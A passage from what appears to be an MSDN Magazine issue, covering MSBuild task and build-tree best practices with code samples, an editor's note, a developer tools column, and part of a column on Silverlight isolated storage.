When extending one of these classes, you should use the Log property to assist in sending messages to attached loggers. You should never rely on techniques such as Console.WriteLine to send messages to the console. When you log messages, it is important to log them at the appropriate level so that loggers can do their jobs more effectively. For example, you should not log events as errors when they are really just warnings. Also, if your task fails, the contract of the ITask interface is to return False from the Execute method. In this case, you should also always log at least one error so that a user knows how to resolve a problem. If the Execute method returns True, no error should be logged. This is easily achieved by using a return statement of return !Log.HasLoggedErrors.
Another critical principle in creating tasks is that they be self-contained. The only information that a task needs to know regarding a build is the properties that are passed into it. The opposite is also true: the project file should only gather information from a task by its outputs. If you design tasks that have other means of communicating with either consuming project files or loggers, you are tightly coupling them, increasing their complexity, and reducing their maintainability. You should always take a "what you see is what you get" approach to constructing tasks in the sense that your code can only see the task's declared inputs and outputs in the project file.
Input properties that a task requires must be decorated with the Required attribute (found in the Microsoft.Build.Framework namespace). MSBuild enforces this requirement at run time, and logs an error stating which required property has been provided. If your task contains properties that project files might be interested in, you should place the Output attribute (Microsoft.Build.Framework) on those properties. Because output parameters must be explicitly decorated in code with the Output attribute, you should err on the side of exposing a few additional properties as this may prevent you from having to redeploy the task simply to output another property.
If a task is designed to take an action against a file or a set of files, these files should be passed in and out of the task by using the ITaskItem interface instead of just string paths. For example, consider the two implementations shown in Figure 4.
Figure 4 Examples of Declaring File-Based Properties
//This example shows how NOT to declare file based properties
public class Move1 : Task
{
    [Required]
    public string SourceFile
    { get; set; }

    [Required]
    [Output]
    public string DestinationFile
    { get; set; }

    public override bool Execute()
    {
        //TODO: Implementation here
        throw new NotImplementedException();
    }
}
//This example shows how to declare file based properties
public class Move2 : Task
{
    [Required]
    public ITaskItem SourceFile
    { get; set; }

    [Required]
    [Output]
    public ITaskItem DestinationFile
    { get; set; }

    public override bool Execute()
    {
        //TODO: Implementation here
        throw new NotImplementedException();
    }
}
The Move1 class uses a string to pass a file into and out of the task. Move2 exposes instances of ITaskItem instead. When you pass a string, all you get is a simple string. By contrast, ITaskItem objects have metadata associated with them.
From a consumer's perspective, the implementations are the same; MSBuild handles any conversions needed. The target shown here shows how both of these tasks could be consumed:
<Target Name="Example">

  <ItemGroup>
    <FileToMove Include="class1.cs"/>
  </ItemGroup>

  <Move1 SourceFile="@(FileToMove)" DestinationFile="dest\class1.cs" />
  <Move2 SourceFile="@(FileToMove)" DestinationFile="dest\class1.cs" />
</Target>
So you might ask why does it matter if your task doesn't use metadata? If you start writing tasks using ITaskItem for file-based references, your tasks will be much more flexible. Also, in this simple example, these tasks accept only a single file at a time. It would be better to create a task that could move multiple files. In such a case, the properties should be defined as ITaskItem[] instead of ITaskItem. By doing this you reduce the overhead of having to create multiple instances of the task and you make work easier for users of the task.
Finally, always transfer metadata for new output values that are related to inputs. In cases where you accept some input items and then create new outputs that are directly related to the inputs, all metadata from the original source should be transferred to the newly created output items, even metadata that you don't recognize. For example, if you create a task that creates object files from C++ files, the input property for the source files should be declared as ITaskItem[] and so should the output for the object files. When you create the output items, each object file will then have the metadata of the corresponding input item assigned to it.
This is important because it allows metadata to be added to the item in each successive step in the pipeline. For example, you could add a piece of metadata named DoNotLink to one of the C++ files. The compiler doesn't recognize this metadata, but it passes it through to the appropriate object file item, and then the Link target will exclude that object file.

Managing Build References
The most important aspect of dealing with build references is to never reference assemblies that reside in the global assembly cache (GAC). The GAC was designed strictly for run-time use and never should have been included in the reference search path. A better approach is to use project references or assembly references with strong names.
When you are creating assembly references, you can use a HintPath to help MSBuild determine where to look for the assembly. For example, the following reference is defined properly:
<Reference Include="IronMath, Version=1.1.0.0, Culture=neutral,
                 PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
  <HintPath>..\contrib\IronPython-1.1\IronMath.dll</HintPath>
</Reference>
If you find yourself setting a HintPath for many references, here is an additional trick that might assist you: extend the reference search path by adding your own directory name. The item that contains the list of paths used for reference resolution in C# and Visual Basic .NET projects is the AssemblySearchPaths item. If you add your path to this item after the Import statement for either Microsoft.CSharp.targets or Microsoft.VisualBasic.targets, that path will be the first location checked. You can implement this with a property declared as follows:
<PropertyGroup>
  <AssemblySearchPaths>
    ..\..\MyReferences\;
    $(AssemblySearchPaths)
  </AssemblySearchPaths>
</PropertyGroup>
You should always use relative paths for both the AssemblySearchPaths and HintPath values. If you specify these values using full paths, it will be difficult to build the projects on other machines.
For large projects you should avoid setting the CopyLocal flag to True for references. When files are marked to be copied locally, every project that references that project will get a copy of its copy local references. Consider this example:
  • ClassLibray1—Contains 10 CopyLocal references
  • ClassLibrary2—Contains 5 CopyLocal references and references ClassLibrary1
  • WindowsFormApp1—References ClassLibrary2
In this situation, all of ClassLibrary1 references will be copied to the output folders for ClassLibrary1, ClassLibrary2, and WindowsFormApp1. All of ClassLibrary2 references will be copied to the output folders for ClassLibrary2 and WindowsFormApp1. So you have 10*3 + 5*2 = 40 file copies for a full build, and this example consists of only three projects. Imagine how this behavior affects builds consisting of one hundred or more projects.
To avoid the copy local behavior, you can set the reference's Private metadata value to False. For example, you could modify a reference to prevent copy local behavior by doing the following:
<Reference Include="IronMath, Version=1.1.0.0, Culture=neutral,
               PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
  <HintPath>..\contrib\IronPython-1.1\IronMath.dll</HintPath>
  <Private>False</Private>
</Reference>
Because the additional metadata is set on the reference, the file will not be copied locally. An even better approach is to use the ItemDefinitionGroup element, which defines default metadata value for items. In the case of references, you can set the Private metadata to be False by default by including the following snippet somewhere in your project file.
<ItemDefinitionGroup>
  <Reference>
    <Private>False</Private>
  </Reference>
</ItemDefinitionGroup>
Because Visual Studio does set this metadata value by default, it will be used for references that have not been specifically marked to be copied locally.
If you have a large build and you want to make sure that no files are copied locally, you can override the _CopyFilesMarkedCopyLocal target, which is responsible for the copy local behavior. If you override this target after the Import statement for Microsoft.CSharp.targets or Microsoft.VisualBasic.targets, you are guaranteed that no files will be copied locally. It is not generally recommended to override any element that includes a leading underscore, but this is a special case. Local reference copying can cause a lot of wasted time and drive space during large builds, so overriding the element can be justified.

Building Large Source Trees
When you are dealing with a large number of projects (more than 100), you need to organize your projects and have a build process that is efficient yet flexible enough to meet the needs of each of the projects. In this section, I describe one means for organizing your source code as well as an approach for integrating a build process into that structure. The structure I describe won't suit every team or every product, but the important ideas to take away are how to modularize your build process and how to introduce common build elements into all products that are being built.
You can organize your source into trees of related projects, with the most common projects at the top. This organization assumes that projects need to build any of the projects beneath them in the tree and potentially sibling projects, but they should not directly build projects that exist in the nodes above them. For example, Figure 5 shows the dependency relationships of several fictitious projects.
Figure 5 Project Dependencies
Here we have two products, SCalculator and SNotepad, and four libraries that they depend on. We could organize these projects into a tree similar to Figure 6.
Figure 6 SCalculator and SNotepad Organizational Tree
ROOT
+---Common
    +---Common.IO
    ¦   ¦
    +---Common.UI
    ¦   ¦
    ¦   +---Common.UI.Editors
    ¦
    +---Contrib
    ¦
    +---Products
    ¦   ¦
    ¦   +---SCalculator
    ¦   ¦
    ¦   +---SNotepad
    ¦
    +---Properties
Because all the projects depend on the Common project, it is directly under the ROOT node. The SCalculator and SNotepad projects are placed inside the Products folder.
What you need here is a strategy that allows developers working on specific subtrees to build the pieces they need but not necessarily the entire structure. You can achieve this by using a convention in which each folder contains three MSBuild files:
  • NodeName.setting
  • NodeName.traversal.targets
  • dirs.proj
NodeName is the name of the current node—for example, root, common, or common.ui.editors. The NodeName.setting file contains any settings (captured as properties or items) that are used during the build process. For example, some settings included here might be BuildInParallel, Configuration, or Platform. The NodeName.traversal.targets file contains the targets that are used to build the projects. Finally, the dirs.proj file maintains a list of projects (in the ProjectFiles item) that need to be built for that subtree.
The NodeName.setting and NodeName.traversal.targets files will always import the top-level corresponding files—root.setting and root.traversal.targets. These top-level files contain the global settings and targets, and the node-level files are where customizations can be injected. In many cases these node-level files need to import only the root file.
Figure 7 shows the contents of the root.traversal.targets file. Fundamentally, there are three targets in this file: Build, Rebuild, and Clean. The properties and other targets are there simply to support these three targets. This file uses the ProjectFiles item, which is declared in the dirs.proj file for that specific directory. The requirements for the dirs.proj file are to:
  1. Define all projects to be built using ProjectFiles.
  2. Import the NodeName.setting file toward the top.
  3. Import the NodeName.targets file toward the bottom.
Figure 7 The root.traversal.targets File
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
         ToolsVersion="3.5">

  <!-- Targets used to build all the projects -->

  <PropertyGroup>
    <BuildDependsOn>
      $(BuildDependsOn);
      CoreBuild
    </BuildDependsOn>
  </PropertyGroup>

  <Target Name="Build" DependsOnTargets="$(BuildDependsOn)" />
  <Target Name="CoreBuild">
    <!--
    Properties BuildInParallel and SkipNonexistentProjects
    should be defined in the .setting file.
    -->
    <MSBuild Projects="@(ProjectFiles)"
             BuildInParallel="$(BuildInParallel)"
             SkipNonexistentProjects="$(SkipNonexistentProjects)"
             Targets="Build"
             />
  </Target>

  <PropertyGroup>
    <RebuildDependsOn>
      $(RebuildDependsOn);
      CoreRebuild
    </RebuildDependsOn>
  </PropertyGroup>
  <Target Name="Rebuild" DependsOnTargets="$(RebuildDependsOn)" />
  <Target Name="CoreRebuild">
    <MSBuild Projects="@(ProjectFiles)"
             BuildInParallel="$(BuildInParallel)"
             SkipNonexistentProjects="$(SkipNonexistentProjects)"
             Targets="Rebuild"
             />
  </Target>

  <PropertyGroup>
    <CleanDependsOn>
      $(CleanDependsOn);
      CoreClean
    </CleanDependsOn>
  </PropertyGroup>
  <Target Name="Clean" DependsOnTargets="$(CleanDependsOn)" />
  <Target Name="CoreClean">
    <MSBuild Projects="@(ProjectFiles)"
             BuildInParallel="$(BuildInParallel)"
             SkipNonexistentProjects="$(SkipNonexistentProjects)"
             Targets="Clean"
             />
  </Target>
</Project>
The dirs.proj file should include all projects in that directory as well as all projects in subdirectories. It can include normal MSBuild projects, like C# or Visual Basic .NET projects, or other dirs.proj projects (for subdirectores). This file should not include projects that exist in directories above it. The dirs.proj file should assume that required projects that are higher in the directory structure are already built.
If you build a project that has a project reference to a project that is higher in the directory structure and that project is out of date, it will be built automatically. As a result, the dirs.proj file doesn't have to specify to build higher-level projects. Also, for massive builds, it is better to use file references instead of project references. With this approach, if you switch to project references, you do not have to modify your build process, only your references.
Here are the contents of the root.setting file:
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
         ToolsVersion="3.5">
  <!--
  Global properties defined in this file
  -->
  <PropertyGroup>
    <BuildInParallel
      Condition="'$(BuildInParallel)'==''">true</BuildInParallel>
    <SkipNonexistentProjects
      Condition="'$(SkipNonexistentProjects)'==''">false</SkipNonexistentProjects>
  </PropertyGroup>

</Project>
This file contains only two properties: BuildInParallel and SkipNonexistentProjects. It is important to note that these properties use conditions to ensure that any pre-existing values are not overwritten, which allows these properties to be customized easily. Figure 8 contains the contents of the dirs.proj file for the ROOT directory.
Figure 8 Contents of the dirs.proj File for the ROOT Directory
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
         ToolsVersion="3.5">

  <!-- Insert any customizations for settings here -->

  <Import Project="root.setting"/>

  <!-- Define all ProjectFiles here -->
  <ItemGroup>
    <ProjectFiles Include="Common\dirs.proj"/>
  </ItemGroup>

  <Import Project="root.traversal.targets"/>

  <!-- Insert any customizations for targets here -->

</Project>
This dirs.proj file meets all three conditions listed earlier. If any customizations for values in the root.settng file need to be specified, they would be placed above the Import for that file, and any customizations for targets would be placed after the Import for that file. This dirs.proj file defines the ProjectFiles item to just include the Common\dirs.proj file, which is responsible for building its content. There are no other projects in the ROOT folder that need to be built. Figure 9 shows the Common\dirs.proj file.
Figure 9 The Common\dirs.proj File
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
         ToolsVersion="3.5">

  <!-- Insert any customizations for settings here -->
  <PropertyGroup>
    <SkipNonexistentProjects>true</SkipNonexistentProjects>
  </PropertyGroup>

  <Import Project="common.setting"/>

  <!-- Define all ProjectFiles here -->
  <ItemGroup>
    <ProjectFiles Include="Common.csproj"/>
    <ProjectFiles Include="Common.IO\dirs.proj"/>
    <ProjectFiles Include="Common.UI\dirs.proj"/>
    <ProjectFiles Include="Products\dirs.proj"/>
  </ItemGroup>

  <Import Project="common.traversal.targets"/>

  <!-- Insert any customizations for targets here -->

  <PropertyGroup>
    < BuildDependsOn >
      CommonPrepareForBuild;
      $(BuildDepdnsOn);
      CommonBuildComplete;
    </BuildDependsOn>
  </PropertyGroup>

  <Target Name="CommonPrepareForBuild">
    <Message Text="CommonPrepareForBuild executed"
             Importance="high"/>
  </Target>
  <Target Name="CommonBuildComplete">
    <Message Text="CommonBuildComplete executed"
             Importance="high"/>
  </Target>
</Project>
This file overrides the SkipNonexistentProjects property, setting it to True. The ProjetFiles item is populated with four values, and a couple of targets are added to the build dependency list, three of which are dirs.proj files. If you build the Common\dirs.proj file with the command msbuild.exe dirs.proj /t:Build, you will see that all the projects are built and that the custom targets execute. I will not include the results because of space limitations, but the source for these files can be downloaded with the other samples for this article.
In this article we have taken a look at a few key recommendations that you can use to create better build processes for your products. As with all best practices, there will be situations in which these rules may not apply one hundred percent of the time and need to be bent a little. The best way to learn which of these practices works for you is simply to try each one out for yourself. I would be honored to hear your stories, good and bad, about how they have worked for you.
I would like to thank Dan Moseley, from the MSBuild team, and Brian Kretzler for their invaluable help on this article.

Sayed Ibrahim Hashimi has a computer engineering degree from the University of Florida. He has been working with MSBuild since the early preview bits of Visual Studio 2005 were released. He is the author of Inside the Microsoft Build Engine: Using MSBuild and Team Foundation Build (Microsoft Press, 2009). He is also coauthor of Deploying .NET Applications: Learning MSBuild and Click Once (Apress, 2006) and has written several publications for magazines including MSDN Magazine. He works in Jacksonville, Florida, as a consultant and trainer, with expertise in the financial, education, and collection industries. You can reach Sayed at his blog, sedodream.com.


Editor's Note
Growing Pains
Howard Dierking

I had planned to use this month's editor's note to talk about the work that has been done transforming the Web into a rich application development platform. Naturally, I would have mentioned the great articles we have in this issue, which cover topics from development with Internet Explorer 8 to Silverlight 2 and SharePoint best practices. I would have pontificated on the relative merits and potential ramifications of Web-based applications. I might have even thrown in a light-hearted story about the good-ol' days of writing Web applications in Perl.
Right now, however, we are living through some tumultuous times, and to not pause and recognize this—and more importantly, to evaluate how we can be a better resource during these times—is to pretend that everything is "business as usual" and does you a disservice. So I'll introduce this issue with a few thoughts on our profession with respect to the current economic climate.
I've heard many times about the stock market that it is a good time to buy when everyone else is selling. Extending this analogy to the present day, I believe that many will react to economic conditions by building a case to justify their role as critical, and how any change could have cataclysmic ramifications to the business. This seems at best isolating, and in the worst case it means that evaluations are always conducted from the perspective of how much pain would result in not having that role as opposed to how much good that role can provide—and more importantly, what that role can evolve into.
Instead, I propose that we even more ambitiously recast ourselves as a strategic partner to the business—not because we want to be seen as a critical path, but because we generally want to have a stake in the success of the business. I imagine that you've heard words similar to this more times than you can count—and they were probably followed with creative new strategies for "better" requirements capture. Instead of yet another methodology, I propose that we more simply seek to become the business (see my December 2008 Editor's Note "I Am the Business").
So what does this mean practically? I think that part of the problem with many development organizations today is that the development shop operates under the assumption that its deliverables exist to support business stakeholders. While the stakeholders are crucial in validating your understanding of the business, I believe that this assumption is fundamentally flawed, and is a core predicate for the kinds of behaviors that lead to tension between IT and the business. Instead, I submit that development teams create software to support the business. When this becomes the priority, it means that you should be able to explain how each requirement in your project supports a discrete set of measureable goals that the business is driving toward. When you understand the drivers that make the business succeed (not just the tactics), you will be able to successfully support the business as well as drive the evolution of a development organization that helps to lead the business.
So what can MSDN Magazine do to help here? First, we will increasingly raise the bar on producing content that goes deeply into not only questions of how a technology works, but also into why and in what contexts it is most useful—and this will apply whether we're talking about the Web or Windows Azure. Even in this economy, there are great opportunities out there—the question is simply whether we will move far enough out of our comfort zones to claim them.

Visit us at msdn.microsoft.com/magazine. Questions, comments, or suggestions for MSDN Magazine? Send them to the editor: mmeditor@microsoft.com.

Thanks to the following Microsoft technical experts for their help with this issue: Adrian Bateman, Sam Bent, Laurent Bugnion, Matt Ellis, Mike Fourie, Steve Fox, Don Funk, Alex Gorev, Aaron Hallberg, Luke Hoban , Robert Horvick, John Hrvatin, Bret Humphrey, Katy King, Brian Kretzler, Bertrand LeRoy, Dan Moseley, Stephen Powell, and Delian Tchoparinov.


Toolbox
Rich AJAX Data Controls, Analyzing HTTP Traffic, And More
Scott Mitchell

All prices confirmed at press time and are subject to change. The opinions expressed in this column are solely those of the author and do not necessarily reflect the opinions at Microsoft.

Contents
Rich Data Web Controls for Client-Centric Ajax Development
Blogs of Note﻿
Inspect and Analyze HTTP Traffic
The Bookshelf

Rich Data Web Controls for Client-Centric Ajax Development
The ASP.NET AJAX framework offers two models for building Ajax-enabled Web applications: server-centric and client-centric. With the server-centric model, page developers continue to use the standard ASP.NET Web controls, but place them within an UpdatePanel control. When a control in an UpdatePanel causes a postback, the UpdatePanel replaces the typical postback with a JavaScript-induced partial page postback and seamlessly updates the controls within it with the server's response. With the client-centric model, page developers are tasked with writing the JavaScript to initiate a partial-page postback and to update the page on response. Programming using the client-centric model requires that the page developer use the client-side ASP.NET AJAX libraries and write JavaScript and HTML themselves to initiate partial page postbacks and to update the page on response.
ASP.NET developers new to Ajax development typically prefer the server-centric model, as it is easier to implement and uses the existing Web controls ASP.NET developers are already familiar with. However, the client-centric model offers more control over the page's behavior and the information shuttled between the browser and the Web server, thereby enabling a more unique and responsive user experience. These two models force developers to make a tough decision: use ASP.NET's existing Web controls to ease implementation, or forgo the familiar controls and write a lot of JavaScript and HTML in order to maximize performance.
The good news is that there is a third option, thanks to the Ajax Data Controls project version 1.0, which is a collection of ASP.NET controls for displaying data in an Ajax-enabled Web application. The Ajax Data Controls marry the ease of server-centric development with the performance enhancements enjoyed by client-centric development.
Adding an Ajax Data Control to a Web page and configuring its appearance and behavior is done much in the same way as any other Web control—from Visual Studio, drag the control from the Toolbox onto the page and configure its settings via the Properties window. But unlike ASP.NET's built-in data controls, the Ajax Data Controls retrieve their data from the server using client-side script, providing a more responsive user experience and consuming less bandwidth than the standard data controls when used within an UpdatePanel.
For example, to display categories from the Northwind database using the Ajax Data Control's GridView, start by adding the GridView to an ASP.NET page. Next, create a script service that queries the database and returns the data to display. Finally, write a bit of JavaScript in the page to bind the GridView to the data.
Figure 1 shows the page's declarative markup while Figure 2 shows the resulting page when viewed through a browser. When the page is visited by a browser, the client-side pageLoad function executes and retrieves the data from the script service. Once the server has returned the data, it is bound to the GridView using JavaScript code that's similar to the server-side C# code used to bind data to ASP.NET's GridView control.
Figure 1 Adding the GridView to an ASP.NET Page
<AjaxData:GridView ID="gvCategories" runat="server" CellPadding="4" CellSpacing="0">
    <HeaderStyle CssClass="HeaderStyle" />
    <AlternatingRowStyle CssClass="AlternatingRowStyle" />
</AjaxData:GridView>

<script type="text/javascript">
    function pageLoad(sender, e) {
        MyScriptService.GetAllCategory(onLoadSuccess);
    }

    function onLoadSuccess(result) {
        var myGrid = $find('gvCategories');

        myGrid.set_dataSource(result);
        myGrid.dataBind();
    }
</script>
Figure 2 The Data Displayed
The Ajax Data Controls include GridView, DataList, Repeater, and Pager. With just a sprinkle of JavaScript, and without having to write any HTML, you can display, sort, page through, edit, and delete data using familiar concepts while enjoying the benefits of client-centric development. A number of common data display scenarios are also easy to implement, such as conditional formatting, using different column types in the GridView (images, checkboxes, hyperlinks, and so on), nested data controls, and integration with the Ajax Control Toolkit. There are also rich features not offered by the standard ASP.NET data controls, including drag and drop and column reordering.
Price: Free, open-source.
codeplex.com/AjaxDataControls

Blogs of Note﻿
Good bloggers share anecdotes with their peers to let them know what technologies they are using, to pass on what works, what doesn't, and what roadblocks to expect. Rick Strahl's Web Log is an excellent example of great blogging.
Rick is the founder and lead developer of West Wind Technologies, a company that sells a number of Web-based applications and utilities, so he spends his days living in the trenches—writing software, bumping into problems, finding solutions. His blog serves as a virtual water cooler, a place where Rick shares clever tips and tricks along with the new technologies he's using, problems he's encountered, and workarounds he's devised.
Because West Wind Technologies primarily builds products for the Web, the majority of Rick's posts center on such technologies. There is a rich collection of posts on jQuery and JavaScript, plus insights on ASP.NET and AJAX, Silverlight, Web Services, Visual Studio, and IIS. And in addition to the regular blog posts Rick adds every two to three days, he also presents a number of in-depth whitepapers on a range of topics from compilation and deployment options in ASP.NET to load balancing and stress testing Web applications to setting up and running Subversion (a free source code control system).
Rick's blog offers a wealth of information and know-how that has been learned through real-world experience. This extensive experience serves as an invaluable resource for Web developers of all skill levels.
west-wind.com/weblog

One of my other favorite blogs is My Secret Life as a Spaghetti Coder, in which Sam Larbi shares his thoughts and insights with the world. Sam works as a developer creating both Web and desktop applications using languages and technologies like C#, C++, Ruby, ASP.NET, and ColdFusion. His blog covers a similarly diverse spectrum of topics.
There are posts focusing on software development methodologies, musings on Web development, and Sam's experiences with test-driven development. You'll find plenty of fun entries on topics such as game programming, gift ideas for programmers, and how to get kids interested in programming.
Sam also has a lot to say about all of the non-technology-related aspects of being a software developer: working with others, meetings, maintaining good customer relations, personal development, and so forth. There's a great post on how to respond to a major blunder with a boss or customer. Sam's advice is to embrace failure—take responsibility, explain how you'll avoid the mistake going forward and how you will rectify the current situation. There are also great tips on how to deal with troublesome customers and what knowledge and people skills you need to become an invaluable employee in the eyes of your employer.
codeodor.com

Inspect and Analyze HTTP Traffic
When you visit a Web site, your browser sends an HTTP request for each resource and receives an HTTP response from the server with the requested content. Being able to inspect each HTTP request and response is useful in a number of Web site development scenarios. For example, when faced with a slow loading Web site, a good first step is to inspect what, exactly, is being transmitted from the server to the client when a request for an underperforming page is visited. Perhaps there is a very large CSS or JavaScript file being shuttled back and forth or maybe the page's background image is exceptionally hefty. Inspecting the HTTP traffic is also a helpful step when debugging Ajax applications, as it allows you to see the precise content being shuttled back and forth during a partial postback.
One of my favorite tools for inspecting HTTP traffic is Fiddler version 2.2, created by Eric Lawrence, a program manager for the Internet Explorer team at Microsoft (see Figure 3). Fiddler serves as a local HTTP proxy; it sits between your browser and the outside Internet. When Fiddler is enabled, every HTTP request made from your browser is first sent to Fiddler, which logs the request before sending it along to its intended destination. When the HTTP response returns, it first arrives at Fiddler, which logs it and then returns it to the browser.
Figure 3 Fiddler Analyzing Traffic
The HTTP traffic logged by Fiddler is viewable through a two-paned user interface. The left pane lists each logged HTTP request/response pair. Selecting one or more HTTP request/response pairs from the left causes the details to load in the right pane.
The right pane includes a number of tabs with various kinds of information. The Statistics tab lists the total number of bytes sent and received, estimates on how long the selected request/response pairs would take to transmit in various settings, and a pie chart that breaks down the various types of requests and their sizes, relative to one another. The Timeline tab shows a graphical timeline of each selected request/response pair, illustrates which requests ran concurrently, and shows how long each request took to perform. These two tabs are the most useful ones for analyzing a Web site's performance.
The other tabs are useful for debugging client-side and server-side logic. The Inspectors tab offers formatted and raw views of the contents sent in the request and response. From the AutoResponder tab you can "fake" a response from the server by specifying a predetermined response, a useful technique for debugging client-side logic in Ajax applications. Also check out the Request Builder tab; from here you can construct a hand-crafted HTTP request and send it to a specified Web server.
Price: Free.
fiddlertool.com

The Bookshelf
JavaScript was invented in the mid-1990s as a client-side scripting language for the Netscape Navigator Web browser. For many years it was viewed as somewhat of a toy language— good for form field input validation and little else. Today, JavaScript is recognized as an important and powerful language. It is often used to dynamically modify the style and content of a Web page on the client side without requiring an expensive trip back to the Web server. And the complex interactions that occur in an Ajax-enabled Web page are possible because of this nifty language.
Due to JavaScript's increasing importance in Web development, several frameworks have been created. One of the most popular ones is jQuery, a free, open-source, cross-browser JavaScript framework created by John Resig. (In fact, Visual Studio 2010 will ship with the jQuery library, making it even easier for ASP.NET developers to get started with jQuery.)
In a nutshell, jQuery makes it easy to grab elements from the Web page and do stuff with them. For example, many Web pages that display a grid of data vary the style for each alternating row, which can be accomplished in JavaScript by applying a CSS class to each alternating table row. The following jQuery statement does just that, quite succinctly:
$("table tr:nth-child(even)").
      addClass("cssClassName");
jQuery in Action (Manning, 2008), by Bear Bibeault and Yehuda Katz, is a great resource for leaning the ins and outs of jQuery and for mastering its terse and flexible syntax. jQuery in Action assumes the reader is already familiar with JavaScript and wastes no time covering the basics of the language. Instead, it starts with a quick introduction to the motivation behind jQuery and jQuery fundamentals and then moves on to using jQuery to accomplish common tasks. (Some of the more advanced JavaScript concepts that are used by jQuery are covered in an appendix.)
Next, the authors walk through jQuery's many features. They show how to select elements from a Web page, how to modify the style and content of elements, and how to add and remove elements from the DOM. They reveal how jQuery simplifies event handling, examine jQuery's utility functions, and illustrate how to use jQuery to communicate with the Web server. The authors provide this information in simple and straightforward English with just the right amount of code snippets and screenshots. The end result is a very informative and readable book.
One reason for jQuery's popularity is that it is very easy to extend the framework through plugins. With a few lines of JavaScript you can add your own functions to the framework. Best of all, developers can share the plugins they've created at the official jQuery site, where there are currently several hundred plugins available for download. jQuery in Action includes a chapter that shows you how to create your own plugins, and another chapter that examines four of the most popular and useful plugins available.
Price: $39.99.
manning.com
Send your questions and comments for Scott to toolsmm@microsoft.com.

Scott Mitchell, author of numerous books and founder of 4GuysFromRolla.com, is an MVP who has been working with Microsoft Web technologies since 1998. Scott is an independent consultant, trainer, and writer. Reach him at Mitchell@4guysfromrolla.com or via his blog at ScottOnWriting.NET.


CLR Inside Out
Isolated Storage In Silverlight 2
Justin Van Patten
Contents
Isolation
Quotas
Files and Directories
IsolatedStorageSettings
In the August 2008 MSDN Magazine CLR Inside Out column, Andrew Pardoe gave a brief overview of isolated storage in Silverlight 2 ("Program Silverlight with the CoreCLR"). In this column, I'll provide more details on isolated storage in Silverlight along with some best practices for using it in your own apps.
Before diving into isolated storage, let me first explain what I/O functionality is available in Silverlight. Silverlight applications are partial-trust applications that run in a sandboxed environment inside a Web browser. As such, arbitrary access to the file system is not permitted. And for good reason—you wouldn't want random, potentially malicious Silverlight applications you come across while browsing the Web to be accessing your personal files or wreaking havoc with your system.
But there are valid scenarios where it is useful to allow Silverlight applications some amount of limited access to the file system, whether it's for reading files (with the end user's consent) or storing data locally on the client. Both scenarios are supported in Silverlight 2 in a limited and safe way: the former is enabled with the OpenFileDialog and the latter with isolated storage.
Like cookies, isolated storage provides the ability to store data on the client between application invocations. But unlike cookies, isolated storage is a full-fledged virtual file system, providing applications with the ability to create, read, write, delete, and enumerate files and directories inside the virtual file system. Isolated storage can be used in the same way as cookies, to maintain state and simple application settings, but it can also be used to save large amounts of data locally on the client.
Isolated storage isn't new to Silverlight; it has been part of the .NET Framework since v1.0. Today Silverlight ships with a simplified subset of the .NET Framework's isolated storage APIs, but it also includes new APIs that provide additional functionality along with some new concepts.

Isolation
As you may expect, one of the key facets of isolated storage is isolation. Isolated storage is composed of many different unique stores, each of which can be thought of as its own virtual file system. Paths cannot escape the bounds of the virtual file system, which effectively isolates the store from the rest of the file system. This prevents a malicious application from being able to access arbitrary files and directories on the disk—such as ..\..\..\..\Windows\System32—where it could cause damage or access sensitive information.
Silverlight applications have access to two different stores: a user + application store (or application store) that is isolated by user identity and application identity and a user + site store (or site store) that is isolated by user identity and site identity. Isolating stores based on the identity of the user, application, and site means that an application can only access the stores to which it is permitted access; it cannot access the stores of other applications.
The user identity that Silverlight employs is the same user identity of the underlying operating system. Silverlight isolates per user by storing all isolated storage data in the current user's local application data directory. Figure 1 has more details on where isolated storage is located for each operating system.
Figure 1 Location of Isolated Storage in the File System
Operating System | Location in File System
Windows Vista | <SYSTEMDRIVE>\Users\<user>\AppData\LocalLow\Microsoft\Silverlight\is
Windows XP | <SYSTEMDRIVE>\Documents and Settings\<user>\Local Settings\Application Data\Microsoft\Silverlight\is
Mac OS X | /Users/<user>/Library/Application Support/Microsoft/Silverlight/is
The application store is a unique store per application. A Silverlight application can only access its application store; it cannot access any other application's application store. The application store is based on the identity of the user and the identity of the application. The identity of a Silverlight application is the full URL to the Silverlight application's XAP file. For example, http://microsoft.com/app.xap is the application identity of a Silverlight application hosted at http://microsoft.com/app.xap. The application identity is case insensitive, so both http://MICROSOFT.COM/app.XAP and http://microsoft.com/app.xap have the same identity. The application store isn't new to Silverlight; it has existed in the .NET Framework since v2.0. The following code shows how to create a file in the application's application store:
try {
    using (var store = IsolatedStorageFile.GetUserStoreForApplication())
    using (var stream = store.CreateFile("hello.txt"))
    using (var writer = new StreamWriter(stream)) {
        writer.Write("Hello World");
    }
}
catch (IsolatedStorageException) {
    // Isolated storage not enabled or an error occurred
}
Silverlight Isolated Storage Best Practices
When you use isolated storage, following these guidelines will help you avoid problems and make the most of the protection isolated storage provides.
  • Wrap all calls to isolated storage within try/catch blocks to be resilient to potential IsolatedStorageExceptions, which can be thrown if isolated storage is disabled or if the store has been deleted.
  • If your Silverlight application needs to store a lot of data in isolated storage, consider hosting it on its own site so that it won't affect other applications on the site and other applications won't affect it.
  • If you have a group of Silverlight applications that need to share data on the client, host them on the same site.
  • Keep isolated storage paths as small as possible to prevent the internal full path from reaching the 260-character limit.
  • Encrypt sensitive data stored in isolated storage.
  • Use IsolatedStorageSettings to store objects and simple settings in isolated storage.
  • Use IsolatedStorageFile if you want to use file and stream-based APIs, are storing large amounts of data, or need fine-grained control over the contents of isolated storage.
The isolated storage APIs used here are located in the System.IO.IsolatedStorage namespace. You can get an instance of the application store by calling IsolatedStorageFile.GetUserStoreForApplication. If isolated storage is enabled (it is by default when Silverlight is installed), this will return an IsolatedStorageFile instance that can be used to work with the store. If the end user has disabled isolated storage, an IsolatedStorageException is thrown.
End users can enable/disable isolated storage, so it is important to always wrap the call to IsolatedStorageFile.GetUserStoreForApplication inside a try/catch block. In fact, IsolatedStorageException could be thrown from any isolated storage operation. This could happen if the end user deletes isolated storage while the application is using it (the next operation will result in an IsolatedStorageException). Plus, if multiple instances of the application are running (in multiple browser windows or tabs, for example) and one of the instances deletes the store, then the next isolated storage operation performed by one of the other application instances will throw an IsolatedStorageException.
